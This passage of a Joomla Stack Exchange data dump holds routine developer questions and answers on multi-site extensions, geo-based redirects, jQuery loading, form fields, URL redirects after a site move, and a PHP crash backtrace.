href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/virtual-domains/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Virtual Domains&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/profile/extension/core-enhancements/multiple-sites/multi-sites/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JMS Multi-Sites&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/multiple-sites/mightysites/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;AlterBrains Mighty Sites&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.seblod.com/resources/manuals/advanced/setting-up-multi-sites&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Seblod Multisites feature&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-07-24T10:29:07.773" LastActivityDate="2020-07-24T10:29:07.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20792" PostTypeId="2" ParentId="20781" CreationDate="2017-05-15T10:23:22.880" Score="1" Body="&lt;p&gt;Just to re-iterate on what @FFrewin said in the comments, this is a very bad idea and should not be done via IP. I'm British and I lived in Spain for a few years, but this doesn't mean I wanted websites to be automatically displayed to me in Spanish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the session, I'd suggest using Joomla's &lt;code&gt;JSession&lt;/code&gt; API rather ths PHP native &lt;code&gt;$_SESSION&lt;/code&gt; and you should be using a system plugin for this, not pushing the code into the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, have a lok at this: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for the actual plugin code, you'll want to use something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgSystemSOMETHING extends JPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public function onBeforeRender()&#xA;    {&#xA;        include 'path/to/geoiploc.php';&#xA;&#xA;        $address = JFactory::getApplication();&#xA;        $session = JFactory::getSession();&#xA;        $country = $session-&amp;gt;get('client_country');&#xA;&#xA;        if (!isset($country))&#xA;        {&#xA;            $session-&amp;gt;set('client_country', getCountryFromIP($app-&amp;gt;input-&amp;gt;server-&amp;gt;get('REMOTE_ADDR')));&#xA;            $session-&amp;gt;set('total_redirections', 1);&#xA;&#xA;            $country = $session-&amp;gt;get('client_country');&#xA;&#xA;            if ($country == 'EN' || $country == 'UK')&#xA;            {&#xA;                $app-&amp;gt;redirect(JRoute::_('http://www.my-domain.com/en'));&#xA;            }&#xA;            else&#xA;            {&#xA;                $app-&amp;gt;redirect(JRoute::_('http://www.my-domain.com/es'));&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            $total = $session-&amp;gt;get('total_redirections');&#xA;            $total ++;&#xA;&#xA;            if ($total &amp;lt;= 2 )&#xA;            {&#xA;                if ($country == 'EN' || $country == 'UK')&#xA;                {&#xA;                    $app-&amp;gt;redirect(JRoute::_('http://www.my-domain.com/en'));&#xA;                }&#xA;                else&#xA;                {&#xA;                    $app-&amp;gt;redirect(JRoute::_('http://www.my-domain.com/es'));&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code is untested so may need tweaking.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-05-15T10:23:22.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20793" PostTypeId="2" ParentId="20771" CreationDate="2017-05-15T10:48:43.317" Score="1" Body="&lt;p&gt;I had the same problem after installing the component RSform and chronofrom, after disabling the cache RSform was working. After enabling conservative cache it keeps working.&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="2082" LastEditDate="2017-05-16T00:40:55.623" LastActivityDate="2017-05-16T00:40:55.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20795" PostTypeId="1" AcceptedAnswerId="20830" CreationDate="2017-05-15T19:39:50.437" Score="3" ViewCount="113" Body="&lt;p&gt;I recognised on my page the mod_login is not shown correctly:&#xA;In the original php (modules/mod_login/tmpl/default.php (line 33) files it looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input id=&quot;modlgn-username&quot; type=&quot;text&quot;&#xA; name=&quot;username&quot; class=&quot;input-small&quot; tabindex=&quot;0&quot; size=&quot;18&quot;&#xA; placeholder=&quot;&amp;lt;?php echo JText::_('MOD_LOGIN_VALUE_USERNAME'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the rendered version in Chrome, Firefox and Edge it is show in this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;input-prepend&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;add-on&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;icon-user hasTooltip&quot; title=&quot;Benutzername&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;label for=&quot;modlgn-username&quot; class=&quot;element-invisible&quot;&amp;gt; &#xA;                     Benutzername&#xA;                &amp;lt;/label&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;    &amp;lt;!-- ___RL_PROTECTED___PGlucHV0IGlkPSJtb2RsZ24tdXNlcm5hbWUiIHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiBjbGFzcz0iaW5wdXQtc21hbGwiIHRhYmluZGV4PSIwIiBzaXplPSIxOCIgcGxhY2Vob2xkZXI9IkJlbnV0emVybmFtZSIgLz4KCQkJCQk=___RL_PROTECTED___ --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above shown input tag was replaced by this &lt;strong&gt;RL_PROTECTED&lt;/strong&gt; Comment.&#xA;Does anybody know remove this behavior? Or is there a plugin missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="11080" LastActivityDate="2017-05-19T18:20:55.610" Title="Joomla 3.7 - HTML Code is replaced by __RL_Protected ---" Tags="|joomla-3.7|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20796" PostTypeId="1" AcceptedAnswerId="20799" CreationDate="2017-05-16T08:19:53.570" Score="1" ViewCount="304" Body="&lt;p&gt;I'd like to construct a script that imports an XLIFF file and updates the INI language files of our component. However, it seems that the language won't be updated unless the component is fully reinstalled. Why? Any way to hack around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I was editing the language file in the component folder. That one is not used. Those files are copied to root &lt;code&gt;language/&lt;/code&gt; and &lt;code&gt;administrator/language/&lt;/code&gt; folders during installation.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2017-05-16T12:55:51.410" LastActivityDate="2017-05-16T12:55:51.410" Title="Updating component language file without reinstalling it" Tags="|component|language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20797" PostTypeId="1" CreationDate="2017-05-16T09:25:36.540" Score="1" ViewCount="575" Body="&lt;p&gt;I added anchors to some of my menus in the Main menu. &lt;strong&gt;&lt;em&gt;For example: Main Menu: Home |  Product | About Us | Contact Us&lt;/em&gt;&lt;/strong&gt;. In menus &lt;strong&gt;Product&lt;/strong&gt; and &lt;strong&gt;About Us&lt;/strong&gt; I made external link menu and add #div id of the section that is the content. I added and smooth scroll to menu and submenus. Everything in Homepage works fine, but when go to menu &lt;strong&gt;Contact Us&lt;/strong&gt; and click on menu &lt;strong&gt;About Us&lt;/strong&gt; nothing happens. Just put anchor behind the URL in the browser. &lt;strong&gt;&lt;em&gt;For Example: &lt;a href=&quot;http://domain.com/contact_us#about_us&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://domain.com/contact_us#about_us&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;. Hot to make it work when click on menu with anchor to go to Homepage and scroll to section of the anchor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advice!&#xA;Best Regards,&#xA;George!&lt;/p&gt;&#xA;" OwnerUserId="11082" LastActivityDate="2017-07-17T09:35:45.153" Title="How to make menu anchors worked in multiple pages Joomla 3" Tags="|joomla-3.x|joomla-3.7|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20798" PostTypeId="2" ParentId="20727" CreationDate="2017-05-16T09:39:27.063" Score="0" Body="&lt;p&gt;So it turns out this was a css issue, the below css needs to be added to your Joomla! template css file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div[id*=k2FilterContainer] {&#xA;clear: both;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11036" LastActivityDate="2017-05-16T09:39:27.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20799" PostTypeId="2" ParentId="20796" CreationDate="2017-05-16T10:55:01.997" Score="4" Body="&lt;p&gt;The language files are loaded again (from their source) on each page load. You don't need to reinstall the component each time. Are you writing to the right file?&lt;/p&gt;&#xA;" OwnerUserId="11084" LastActivityDate="2017-05-16T10:55:01.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20803" PostTypeId="1" AcceptedAnswerId="20805" CreationDate="2017-05-16T14:10:03.070" Score="0" ViewCount="466" Body="&lt;p&gt;I'm using the Joomla radio button form field type and am having trouble with option values that are strings.  I'm not sure if I'm doing something wrong or if there is a bug there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in my component form xml I have a field like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;myfield&quot; &#xA;    type=&quot;radio&quot; &#xA;    buttons=&quot;true&quot; &#xA;    class=&quot;btn-group&quot; &#xA;    default=&quot;public&quot; &#xA;    label=&quot;label text&quot; &#xA;    description=&quot;description text&quot; &#xA;    hint=&quot;hint text&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;public&quot;&amp;gt;Public&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;registered&quot;&amp;gt;Registered&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I create a new item with the form that uses this, the default is not set correctly.  Then when I save the item the &quot;myfield&quot; value is &quot;1&quot;.  This just seems to be a problem with the setting of the default really.  If I select one of the options and save, then the string, for example &quot;public&quot;, is saved.  Then if I edit the item again it displays as &quot;public&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as a quick breakdown...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It saves the radio value string if it's set&lt;/li&gt;&#xA;&lt;li&gt;It loads a saved radio value string&lt;/li&gt;&#xA;&lt;li&gt;It does not pre-populate the default radio string on new items&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I had a look at the layout file in &quot;layouts/joomla/form/field/radio.php&quot; and could see the default value coming through as 1, &quot;public&quot; as it should have been.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field docs are good, but didn't really give specifics on if value had to be a number, however in the three examples on the doc it is  &lt;a href=&quot;https://docs.joomla.org/Radio_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Radio_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in a custom component on Joomla! 3.7.0.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="12728" LastEditDate="2018-07-23T16:53:18.253" LastActivityDate="2018-07-23T16:53:18.253" Title="Radio form field - can value be a string?" Tags="|custom-component|jform|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20805" PostTypeId="2" ParentId="20803" CreationDate="2017-05-16T15:42:38.097" Score="1" Body="&lt;p&gt;I tested your code and it works for me in a component.  The values do not have to be numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess would be that it's something to do with your database field type.  If it's saving as 1 instead of &quot;public&quot;, are you sure that the &quot;myfield&quot; field has not been set as a boolean or integer instead of allowing for a text entry of at least 10 characters?&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-05-16T15:42:38.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20806" PostTypeId="1" AcceptedAnswerId="20807" CreationDate="2017-05-16T16:21:01.430" Score="2" ViewCount="809" Body="&lt;p&gt;I've just read this tutorial &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component&lt;/a&gt; and finished my component (Joomla! 3.7). Now I realise that the site view doesn't contain the jquery link(s) in the header - in contrast to each other (sub-)page of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could just add the neccessary lines of code in my template, but I didn't do so because right from the beginning Joomla did that for me - except when I browse to my component's view. Unfortunately I couldn't find any info about this behaviour so I hope someone can shed some light on this ...?!&lt;/p&gt;&#xA;" OwnerUserId="11042" LastActivityDate="2017-05-16T16:44:33.373" Title="Jquery is not included in my component's head" Tags="|component|jquery|header|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20807" PostTypeId="2" ParentId="20806" CreationDate="2017-05-16T16:24:27.823" Score="1" Body="&lt;p&gt;It's not up to the template or Joomla to load jQuery. You'll normally find jQuery being loaded on a lot of the default pages cause an extension does, however Joomla is not required to load it by default on every single page, therefore it's up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load it, simple add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your component views.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-05-16T16:24:27.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20808" PostTypeId="2" ParentId="20806" CreationDate="2017-05-16T16:37:40.970" Score="1" Body="&lt;p&gt;Joomla adds it all over the place.  Do a search for &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt; in the core files and see how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript frameworks do seem a bit messily implemented. There is some information about them here.&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Javascript_Frameworks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common place seems to be in your component's view default.php file.  A &quot;what do Joomla do&quot; approach is usually best if you are unsure of something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want it available anywhere (and your component is only to be used with your template), then I can't see anything really wrong with adding it to your template, though sometimes this can mean the files load in the wrong order and you have to add it to your component as well to make sure your compoenent's js is loaded after the JQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it will only be loaded once, there is nothing really wrong in adding it to your template and your component.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-05-16T16:44:33.373" LastActivityDate="2017-05-16T16:44:33.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20809" PostTypeId="2" ParentId="20806" CreationDate="2017-05-16T16:38:33.430" Score="1" Body="&lt;p&gt;To expand on Lodder's answer, using &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at the top of your component's views and before any other calls to your custom js, will ensure that jQuery will be loaded, before your other scripts, and only once - even if other extensions or the template have called it with the same method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it worths noting that &lt;code&gt;JHtml::_('jquery.framework');&lt;/code&gt; will load the jQuery in no conflict mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load it in normal mode: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework', false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-16T16:38:33.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20811" PostTypeId="1" CreationDate="2017-05-17T10:38:52.983" Score="1" ViewCount="395" Body="&lt;p&gt;My client has decided to completely revamp their website and no longer wants to use MijoSef, in fact they do not want to use any SEF component at all. At present google hase over 3250 urls indexed for the existing site, thus I need to redirect each of the indexed URL's to the new URL following the site update/move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have exported the URL's from MijoSef and have attempted to test the redirect by inserting one into the jos_redirect_links table, publishing it and then testing it. However the redirect does not seem to take effect. I have also tried the same with ReDJ and the redirect does not seem to take effect either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the url on the currently live site is is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up a redirect in ReDj (and in the core redirect component - now removed) to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another (better?) way to do this to ensure the indexed links do not return a 404? I'd be happy for some suggestions. The MijoSEF export contains over 13000 urls, thus I was thinking maybe I could scrape a list of indexed URL's in google, compare to the list from MiJoSEF and add the 3250 indexed redirects to the htaccess file? Is this a feasible method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-09-18T07:58:38.233" LastActivityDate="2017-09-18T07:58:38.233" Title="Advice for redirecting over 3000 urls following site move and update?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20812" PostTypeId="2" ParentId="20811" CreationDate="2017-05-17T11:54:57.640" Score="1" Body="&lt;p&gt;I a little confused with your question or likely your approach to do the redirect, but I ll give a try to post an answer to help you clear things out a bit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This URL that you call the old URL, is a working URL in the site&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.waterfrontwest.com/new/index.php?option=com_iproperty&amp;amp;Itemid=649&amp;amp;id=731&amp;amp;view=property&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this URL is actually a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.waterfrontwest.com/new/property/mobile-home/waterfront-mobile-home-park-lake-cowichan-vancouver-island-dp13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not clear from where you get these URLs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I don't know about ReDJ, but you can't redirect your first URL to the one you said - while the first one is actually working. To add to this that you are trying to redirect a working URL to a 404 URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from where you get this URL : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.waterfrontwest.com/new/property/mobile-home/waterfront-mobile-home-park-lake-cowichan-vancouver-island-dp13 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I suspect correctly that this is a URL that exists on the old version of site? One of those Google Indexed URLs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, you are approaching the Redirects thing from the opposite way.&#xA;As that indexed URL &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.waterfrontwest.com/new/property/mobile-home/waterfront-mobile-home-park-lake-cowichan-vancouver-island-dp13 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will be the one that after you switch to the new site, it will produces the 404 (it already does so). And this is the URL that you need to redirect to the new corresponding one that will be working on the site, and will be able to display the same content as before. &#xA;The new URL that you need to redirect to will actually be the result of the SEF-isized:     &lt;code&gt;http://www.waterfrontwest.com/new/index.php?option=com_iproperty&amp;amp;Itemid=649&amp;amp;id=731&amp;amp;view=property&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-17T11:54:57.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20813" PostTypeId="1" CreationDate="2017-05-17T16:12:16.587" Score="2" ViewCount="876" Body="&lt;p&gt;I was trying to find out correct ways to verify db update query is successful but some problems i am fetching. Even if update query(&lt;code&gt;$db-&amp;gt;execute()&lt;/code&gt;) is not done/row does not exists.... but it returns true meaning it was successful which is wrong. &lt;code&gt;$db-&amp;gt;getaffectedrows()&lt;/code&gt; method has incomplete results (only o and 1). I found a way while debugging the joomla code is that there is a info property in connection object in database object (&lt;code&gt;$db = jfactory:getdbo()&lt;/code&gt;), this property tells whether any row matched(data row found in table) by the update query and whether any row changed(updated with new value) or not. So are there any better ways/queries to find if update was indeed successful considering all the conditions that there were rows found, row found but no column value changed, and row found and column value changed....under joomla cms framework?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2018-09-10T03:03:09.527" Title="Correct ways to verify update query is successful under conditions" Tags="|joomla-3.x|php|mysql|phpmyadmin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20814" PostTypeId="2" ParentId="20797" CreationDate="2017-05-18T08:14:46.377" Score="1" Body="&lt;p&gt;I found a way to resolve my problem. First must made second main menu, for example: &lt;strong&gt;&lt;em&gt;Main Menu Inside&lt;/em&gt;&lt;/strong&gt; with all elements from the &lt;strong&gt;Main menu&lt;/strong&gt;. After that put in front of anchor &quot;/&quot; to use whole domain + anchor. For example: &lt;strong&gt;&lt;em&gt;/#about_us&lt;/em&gt;&lt;/strong&gt; . After that it must remove module menu for &lt;strong&gt;Main Menu&lt;/strong&gt; from pages that it will use second &lt;strong&gt;Main Menu Inside&lt;/strong&gt; and in module menu &lt;strong&gt;Main Menu Inside&lt;/strong&gt; must add menus that will appear in new second Main menu. Now for me everything works fine.&lt;/p&gt;&#xA;" OwnerUserId="11082" LastActivityDate="2017-05-18T08:14:46.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20815" PostTypeId="1" CreationDate="2017-05-18T10:49:24.223" Score="0" ViewCount="39" Body="&lt;p&gt;I am still working with a resource issue for a Joomla site (currently on 3.7.0 - just upgrading to 3.7.1 as we speak). There were a lot of core dump files appearing in the home folder, thus I requested the host run them through gdb and send me the results. However, this is the first time I have ever worked with core dump files and have absolutely no idea what the results mean - or even if they are Joomla specific?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Report:&#xA;===================================================&#xA;Core was generated by `/opt/cpanel/ea-php70/root/usr/bin/php-cgi /home/tblig0/public_html/index.php'.&#xA;Program terminated with signal 11, Segmentation fault.&#xA;#0  0x00007efea5ce6c9a in _efree ()&#xA;(gdb) bt&#xA;#0  0x00007efea5ce6c9a in _efree ()&#xA;#1  0x00007efea5d1bc5d in zend_hash_destroy ()&#xA;#2  0x00007efea5caaa7b in php_module_shutdown ()&#xA;#3  0x00007efea5b8a97f in main ()&#xA;==================================================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help/advise on what the next step should be - what do these results mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-07-20T20:04:52.017" Title="Results of gdb on core dump from Joomla Installation - meaning?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20816" PostTypeId="2" ParentId="17305" CreationDate="2017-05-18T18:36:58.503" Score="1" Body="&lt;p&gt;I got this same error on my Joomla site. I contacted the hosting provider and they got a specialist onto it and fixed it within minutes. The fix was simple: just delete the MySQL database USER password and reset with a new password. The site came back up instantly. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="11094" LastActivityDate="2017-05-18T18:36:58.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20817" PostTypeId="1" AcceptedAnswerId="20819" CreationDate="2017-05-18T19:43:21.117" Score="1" ViewCount="1062" Body="&lt;p&gt;I am attempting to get the latest article in a category that has a number of subcategories through the Articles ContentModel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use &lt;code&gt;$model-&amp;gt;setState('filter.category_id', $this-&amp;gt;category-&amp;gt;id);&lt;/code&gt;, it does not return anything due to the category in question not containing any articles; all of the articles are in subcategories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get all articles in the current category including children?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; true));&#xA;$model-&amp;gt;getState();&#xA;&#xA;// Set application parameters in model&#xA;$app = JFactory::getApplication();&#xA;$appParams = $app-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;&#xA;// Set the filters based on the module params&#xA;$model-&amp;gt;setState('list.start', 0);&#xA;$model-&amp;gt;setState('list.limit', 1);&#xA;$model-&amp;gt;setState('filter.category_id', $this-&amp;gt;category-&amp;gt;id);&#xA;$model-&amp;gt;setState('filter.published', 1);&#xA;&#xA;// Permissions&#xA;$access = !JComponentHelper::getParams('com_content')-&amp;gt;get('show_noauth');&#xA;$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()-&amp;gt;get('id'));&#xA;$model-&amp;gt;setState('filter.access', $access);&#xA;&#xA;// Featured Item&#xA;&#xA;// Get article from featured set&#xA;// $model-&amp;gt;setState('filter.featured', 'only');&#xA;&#xA;// Ordering&#xA;$model-&amp;gt;setState('list.ordering', 'a.publish_up');&#xA;$model-&amp;gt;setState('list.direction', 'DESC');&#xA;&#xA;$items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1670" LastEditorUserId="1670" LastEditDate="2017-05-18T19:54:25.317" LastActivityDate="2017-05-18T20:31:06.060" Title="Getting latest article from category including subcategories" Tags="|joomla-3.x|php|articles|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20818" PostTypeId="1" AcceptedAnswerId="20826" CreationDate="2017-05-18T19:54:56.733" Score="2" ViewCount="325" Body="&lt;p&gt;I'm new to Joomla, so please forgive me if this is obvious. I have done some searching and I am competent with Wordpress so I'm hoping it's not!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently running 3.4.8 and when updating certain plugins the site theme breaks in parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I ensure a plugin update is compatible with my current Joomla installation? &lt;/p&gt;&#xA;" OwnerUserId="11078" LastActivityDate="2017-05-19T07:32:26.643" Title="How can I ensure a plugin update is compatible with my current Joomla installation?" Tags="|plugin|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20819" PostTypeId="2" ParentId="20817" CreationDate="2017-05-18T20:31:06.060" Score="1" Body="&lt;p&gt;You need to enable subcategories with the &lt;code&gt;subcategories.filter&lt;/code&gt; and also specify the levels of subcategories you want to go deep down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;setState('filter.subcategories', true);&#xA;$model-&amp;gt;setState('filter.max_category_levels', $subCategoryLevels);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the subcategories check will occur, if the category id for the &lt;code&gt;filter.category_id&lt;/code&gt; is numeric, otherwise if you pass an array of category ids (e.g. coming from a multiple choice select field), then the model will not look for subcategories, but it will load the articles for the given categories ids.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-05-18T20:31:06.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
